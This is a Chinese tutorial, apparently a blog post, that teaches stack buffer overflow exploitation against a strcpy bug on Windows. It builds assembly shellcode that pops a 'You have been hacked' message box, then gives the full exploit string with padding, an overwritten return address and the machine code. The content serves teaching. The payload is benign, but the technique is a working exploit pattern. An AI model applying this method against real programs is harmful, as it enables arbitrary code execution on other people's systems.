ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理。那么下面我们就来编写ShellCode。为了简单起见,这里我只想让程序显示一个对话框:
图1
#include <windows.h> #include <stdio.h> typedef void (*MYPROC)(LPTSTR); int main() { HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary("user32"); //获取user32.dll的地址 printf("user32 = 0x%x\n", LibHandle); //获取MessageBoxA的地址 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA"); printf("MessageBoxA = 0x%x\n", ProcAdd); getchar(); return 0; }其显示结果如下:
由结果可知,MessageBox在我的系统中的地址为0x77d507ea,当然这个地址在不同的系统中,应该是不同的,所以大家在编写ShellCode之前,一定要先查找所要调用的API函数的地址。
由于我们利用溢出操作破坏了原本的栈空间的内容,这就可能会在我们的对话框显示完后,导致程序崩溃,所以为了谨慎起见,我们这里还需要使用ExitProcess()函数来令程序终止。这个函数位于kernel32.dll里面,所以这里同样可以使用上述程序进行函数地址的查找,只要稍微修改一下就可以了:
图3
编写汇编代码
接下来需要编写欲执行的代码,一般有两种方式——C语言编写以及汇编编写,不论采用哪种方式,最后都需要转换成机器码。这里我比较倾向于使用汇编进行编写。请大家放心的是,虽然说是汇编,但其实是非常简单的汇编,请大家不要有畏惧的心理。
那么在进行汇编代码的编写之前,我想首先给大家讲一下如何利用汇编语言实现函数的调用。
可能大家也都知道,在汇编语言中,想调用某个函数,是需要使用CALL语句的,而在CALL语句的后面,需要跟上该函数在系统中的地址。因为我刚才已经获取到了MessageBox()与ExitProcess()函数的地址,所以我们在这里就可以通过CALL相应的地址的方法来调用相应的函数。但是实际上,我们在编程的时候,一般还是先将地址赋给诸如eax这样的寄存器,然后再CALL相应的寄存器,从而实现调用的。
如果说我们想要调用的函数还包含有参数,那么我们就需要先将参数利用PUSH语句从右至左分别入栈,之后再调用CALL语句。比如现在有一个Function(a,b,c)函数,我们想调用它,那么它的汇编代码就应该编写为:
push c
push b
push a
mov eax,AddressOfFunction
call eax
根据这个思想,我们就可以在VC++中利用内联汇编来调用ExitProcess()这个函数:
xor ebx, ebx
push ebx
mov eax, 0x7c81cafa
call eax
接下来编写MessageBox()这个函数调用。与上一个函数不同的是,这个API函数包含有四个参数,当然第一和第四个参数,我们可以赋给0值,但是中间两个参数都包含有较长的字符串,这个该如何解决呢?我们不妨先把所需要用到的字符串转换为ASCII码值:
Warning :
\x57\x61\x72\x6e\x69\x6e\x67
You have beenhacked!(by J.Y.) :
\x59\x6f\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6e\x20\x68\x61\x63\x6b\x65\x64\x21\x28\x62\x79\x20\x4a\x2e\x59\x2e\x29
然后将每四个字符为一组,进行分组,将不满四个字符的,以空格(\x20)进行填充:
Warning :
\x57\x61\x72\x6e
\x69\x6e\x67\x20
You have beenhacked!(by J.Y.) :
\x59\x6f\x75\x20
\x68\x61\x76\x65
\x20\x62\x65\x65
\x6e\x20\x68\x61
\x63\x6b\x65\x64
\x21\x28\x62\x79
\x20\x4a\x2e\x59
\x2e\x29\x20\x20
这里之所以需要以\x20进行填充,而不是\x00进行填充,就是因为我们现在所利用的是strcpy的漏洞,而这个函数只要一遇到\x00就会认为我们的字符串结束了,就不会再拷贝\x00后的内容了。所以这个是需要特别留意的。
由于我们的计算机是小端显示,因此字符的进展顺序是从后往前不断进栈的,即“Warning”的进栈顺序为:
push 0x20676e69
push 0x6e726157 // push "Warning"
“You have beenhacked!(by J.Y.)”的进栈顺序为:
push 0x2020292e
push 0x592e4a20
push 0x79622821
push 0x64656b63
push 0x6168206e
push 0x65656220
push 0x65766168
push 0x20756f59 // push "You have beenhacked!(by J.Y.)"
那么下面问题来了,我们如何获取这两个字符串的地址,从而让其成为MessageBox()的参数呢?其实这个问题也不难,我们可以利用esp指针,因为它始终指向的是栈顶的位置,我们将字符压栈后,栈顶位置就是我们所压入的字符的位置,于是在每次字符压栈后,可以加入如下指令:
mov eax,esp 或 mov ecx,esp
这样就可以了,最后再进行函数的调用:
push ebx
push eax
push ecx
push ebx
mov eax,0x77d507ea
call eax // call MessageBox
综合以上,完整的代码如下:int main() { _asm{ sub esp,0x50 xor ebx,ebx push ebx // cut string push 0x20676e69 push 0x6e726157 // push "Warning" mov eax,esp push ebx // cut string push 0x2020292e push 0x592e4a20 push 0x79622821 push 0x64656b63 push 0x6168206e push 0x65656220 push 0x65766168 push 0x20756f59 // push "You have been hacked!(by J.Y.)" mov ecx,esp push ebx push eax push ecx push ebx mov eax,0x77d507ea call eax // call MessageBox push ebx mov eax, 0x7c81cafa call eax // call ExitProcess } return 0; }
将这些机器码提取出来,就是我们想让计算机执行的 ShellCode。然后我们再综合一下上节课所讲的内容,从而编写出完整的ShellCode:
char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41" // name[0]~name[7] "\x41\x41\x41\x41" // EBP "\x79\x5b\xe3\x77" // Return Address "\x83\xEC\x50" // sub esp,0x50 "\x33\xDB" // xor ebx,ebx "\x53" // push ebx "\x68\x69\x6E\x67\x20" "\x68\x57\x61\x72\x6E" // push "Warning" "\x8B\xC4" // mov eax,esp "\x53" // push ebx "\x68\x2E\x29\x20\x20" "\x68\x20\x4A\x2E\x59" "\x68\x21\x28\x62\x79" "\x68\x63\x6B\x65\x64" "\x68\x6E\x20\x68\x61" "\x68\x20\x62\x65\x65" "\x68\x68\x61\x76\x65" "\x68\x59\x6F\x75\x20" // push "You have been hacked!(by J.Y.)" "\x8B\xCC" // mov ecx,esp "\x53" // push ebx "\x50" // push eax "\x51" // push ecx "\x53" // push ebx "\xB8\xea\x07\xd5\x77" "\xFF\xD0" // call MessageBox "\x53" "\xB8\xFA\xCA\x81\x7C" "\xFF\xD0"; // call MessageBox由于我们这里调用了MessageBox,因此需要在源程序中加入“LoadLibrary(“user32.dll”);”这条语句用于加载相应的动态链接库,而由于使用了LoadLibrary(),还需要加入“windows.h”这个头文件。然后运行程序,可以看到我们已经成功利用了漏洞:
图6
这里大家可以自行对照。然后我们执行到main函数的返回位置,再按下F8(单步执行),经过jmp esp的跳转后,就来到了我们所编写的 ShellCode的位置:
图7
这个时候我们再通过OD来观察一下MessageBox()这个函数的参数入栈情况。先执行到0x0012FF98的位置:
图8
可以看到“Warning”字符串已经入栈,此时esp指向的就是栈帧,也就是“Warning”字符串的位置,而此时将esp的值赋给eax,那么也就可以理解为eax中保存的就是“Warning”字符串。
第二个字符串入栈的原理和这个是一样的,在这里不再赘述。然后就是调用MessageBox()函数:
图9
可以看到相应的参数已经入栈,那么对话框得以弹出,说明我们的漏洞利用是成功的。
原文地址:http://blog.csdn.net/ioio_jy/article/details/45419951